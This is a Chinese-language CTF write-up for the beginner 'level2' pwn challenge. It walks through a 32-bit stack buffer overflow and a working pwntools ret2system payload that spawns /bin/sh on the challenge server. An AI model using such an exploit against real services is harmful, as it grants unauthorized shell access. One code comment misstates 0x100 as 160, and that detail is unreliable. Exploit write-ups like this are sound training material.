不一

攻防世界level2 write up 与面向返回编程

字数统计: 923阅读时长: 3 min
2019/09/07 Share

题目

题目地址:level2

题目描述:
菜鸡请教大神如何获得flag,大神告诉他使用面向返回的编程(ROP)就可以了
很惭愧居然只是个入门级别的难度,就当写日记了让三十几岁上了年纪的我回顾一生的时候可以重温一下年轻的滋味。虽然题目描述提到了ROP,但其实做完题发现只是利用了覆盖返回值这一ROP基本原理,没有使用到ret gadget等用法,因此算是很简单了,本来还想给十几年后的自己写一写工具介绍,发现一些要紧的工具就写不了。

分析

下载得到二进制文件之后就直接扔进ida去扒光看看,首先是main函数的反编译版本:

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
// 整个main函数有用的部分就是调用了这一个函数
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

顺着main函数去看一下vulnerable_function函数,应该是整个题目的核心了:

1
2
3
4
5
6
7
8
9
10
11
ssize_t vulnerable_function()
{
// buf是一个字符串数组,其长度是0x88就是136
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
// 从0:标准输入中读取数据
// 输出到buf中
// 输出长度是0x100就是160
return read(0, &buf, 0x100u);
}

往长度136的buf读入最大长度160的字符,当然会造成溢出,而且是可以稳稳覆盖到返回地址的溢出,于是就用上了面向返回编程这一核心思想了,那么覆盖了返回值之后要跳转到什么地方嘞,列出程序中所有的函数看看:
列出函数
程序不大,可选的旅游景点也有限,但是有个5A景区,就是system函数,system函数接受一个字符串指针参数,指向一条linux命令,为了得到flag,臆想的指令可以是cat flag.txt,或者干脆获得shell即/bin/sh。在ida里面得到了system函数的地址(这个有个坑,我们需要的是plt表中的地址)为0x08048320。此时可以构造我们所需的栈空间,应该如下图所示:
栈示意图
万事尚未具备,有了system函数这个草船,还需要箭,让system去执行的linux指令,箭从哪来,当然是去借(本来的想法是写入到buf中去,反正就是字符串嘛又不执行,所以就算是开了NX也没关系,后来发现栈空间地址虽然是固定的,但是应该根据系统而不同,在32位和64位上跑地址也不一样,嫌太(zi)麻(ji)烦(cai)就放弃了)。在ida里面去程序的data段看一看有没有可以用的东西,结果还真有,点击main函数中的“Hello World!”来到data段发现宝藏了:
data段数据

Payload

掐指一算字符串/bin/sh的起始地址是0x0804A024,于是就可以写payload了,其实p32函数使用的是pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# system函数地址
system = 0x8048320
# /bin/sh字符串地址
commandAddress = 0x0804A024

# 填充满buf
payload = b'A' * 136
# 填充返回的EBP,这个无所谓
payload += b'A' * 4
# 填充vul函数返回地址
payload += p32(system)
# 填充system函数返回的EBP,也无所谓
payload += b'A' * 4
# 填充system函数的参数栈
payload += p32(commandAddress)

最后再使用pwntools去连接服务器与执行就可以了,所以下面的代码就懒得注释了:

1
2
3
4
5
6
7
8
9
10
11
context(arch = 'i386', os = 'linux', log_level='info')
r = remote('ip', 端口)

line = r.readline()
print(str(line, encoding='ascii'))
r.send(payload)
r.interactive()

line = r.readall()
print(str(line, encoding='ascii'))
r.close()

运行的结果就是得到了shell,列出文件之后喵~一下就得到了flag:
得到flag

噢真的是蛮基础的一个题。

CATALOG
  1. 1. 题目
  2. 2. 分析
  3. 3. Payload